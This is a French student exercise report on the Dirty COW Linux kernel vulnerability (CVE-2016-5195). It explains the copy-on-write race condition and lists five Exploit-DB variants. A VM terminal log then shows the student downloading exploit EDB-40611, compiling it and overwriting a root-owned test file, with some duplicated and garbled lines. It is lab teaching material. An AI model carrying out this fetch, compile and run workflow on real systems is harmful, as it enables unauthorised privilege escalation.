

Exercice — Dirty COW

Nom : Khelfi **Prénom :** Amine **Date :** 04.10.2026

1. Identifier la CVE de Dirty COW

Nom : Dirty COW

Identifiant : CVE-2016-5195

Type : race condition dans le noyau Linux

Impact : élévation locale de privilèges.

Dirty COW est une vulnérabilité du noyau Linux liée au mécanisme Copy-on-Write (CoW). Ce mécanisme permet de partager des pages mémoire et de ne créer une copie privée que lorsqu'une modification est demandée.

La vulnérabilité viens d'une de synchronisation mal faite entre des opérations mémoire concurrentes. Un utilisateur peut exploiter cette condition de concurrence pour contourner, les protections en écriture et modifier le contenu d'un fichier normalement protégé.

Conséquence : la modification d'un fichier sensible, par exemple un exécutable SUID, pouvait être utilisée dans un scénario d'élévation de privilèges jusqu'à **root**.

2. Trouvez les exploits disponibles sur exploit-db

Voici les variantes:

ID Exploit-DB	Technique ou cible	Description générale
EDB-40611	<code>/proc/self/mem</code>	Vise l'écriture dans un fichier protégé.
EDB-40616	<code>/proc/self/mem</code> , SUID	Permet l'élévation locale de privilèges.
EDB-40838	<code>PTRACE_POKEDATA</code>	Utilise l'interface <code>ptrace</code> pour tenter une écriture.
EDB-40839	<code>PTRACE_POKEDATA</code> , <code>/etc/passwd</code>	Ciblant le fichier des comptes locaux.
EDB-40847	<code>/proc/self/mem</code> , <code>/etc/passwd</code>	Utilise l'accès à la mémoire du processus pour cibler <code>/etc/passwd</code> .

Liens vers les fiches Exploit-DB :

- [EDB-40611](#)
- [EDB-40616](#)
- [EDB-40838](#)
- [EDB-40839](#)
- [EDB-40847](#)

3. Démontrez un exploit dans une VM

```
amine@ubuntu:~$ uname -r
4.4.0-21-generic
amine@ubuntu:~$ id
uid=1000(amine) gid=1000(amine)
groups=1000(amine),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
amine@ubuntu:~$ sudo sh -c 'echo "ORIGINAL" > /tmp/dirtycow-test'
hmod 644 /tmp/diamine@ubuntu:~$ sudo chown root:root /tmp/dirtycow-test
amine@ubuntu:~$ sudo chmod 644 /tmp/dirtycow-test
amine@ubuntu:~$
amine@ubuntu:~$ ls -l /tmp/dirtycow-test
-rw-r--r-- 1 root root 9 Oct 3 11:35 /tmp/dirtycow-test
amine@ubuntu:~$ cat /tmp/dirtycow-test
ORIGINAL
amine@ubuntu:~$ echo "TEST NORMAL" >> /tmp/dirtycow-test
```

```
-bash: /tmp/dirtycow-test: Permission denied
amine@ubuntu:~$ cat /tmp/dirtycow-test
ORIGINAL
amine@ubuntu:~$
```

```
amine@ubuntu:~$ mkdir -p ~/dirtycow
amine@ubuntu:~$ cd ~/dirtycow
amine@ubuntu:~/dirtycow$
amine@ubuntu:~/dirtycow$ wget https://www.exploit-db.com/download/40611 -O dirtycow.c
--2026-10-03 11:39:28-- https://www.exploit-db.com/download/40611
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.13
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.13|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2938 (2.9K) [application/txt]
Saving to: 'dirtycow.c'
dirtycow.c      100%[=====>]    2.87K  --.-KB/s   in 0s
2026-10-03 11:39:28 (1.00 GB/s) - 'dirtycow.c' saved [2938/2938]
amine@ubuntu:~/dirtycow$ ls
dirtycow  dirtycow.c
amine@ubuntu:~/dirtycow$ gcc -pthread dirtycow.c -o dirtycow
amine@ubuntu:~/dirtycow$ clear
amine@ubuntu:~/dirtycow$ cd ..
amine@ubuntu:~$ mkdir -p ~/dirtycow
amine@ubuntu:~$ cd ~/dirtycow
amine@ubuntu:~/dirtycow$ wget https://www.exploit-db.com/download/40611 -O dirtycow.c
--2026-10-03 11:39:59-- https://www.exploit-db.com/download/40611
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.13
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.13|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2938 (2.9K) [application/txt]
Saving to: 'dirtycow.c'
dirtycow.c      100%[=====>]    2.87K  --.-KB/s   in 0s
2026-10-03 11:39:59 (941 MB/s) - 'dirtycow.c' saved [2938/2938]
amine@ubuntu:~/dirtycow$ gcc -pthread dirtycow.c -o dirtycow
amine@ubuntu:~/dirtycow$ ls -l dirtycow
-rwxrwxr-x 1 amine amine 7984 Oct  3 11:40 dirtycow
amine@ubuntu:~/dirtycow$ ./dirtycow /tmp/dirtycow-test "CHANGES. "
mmap b778f000
amine@ubuntu:~/dirtycow$ cat /tmp/dirtycow-test
CHANGES.
```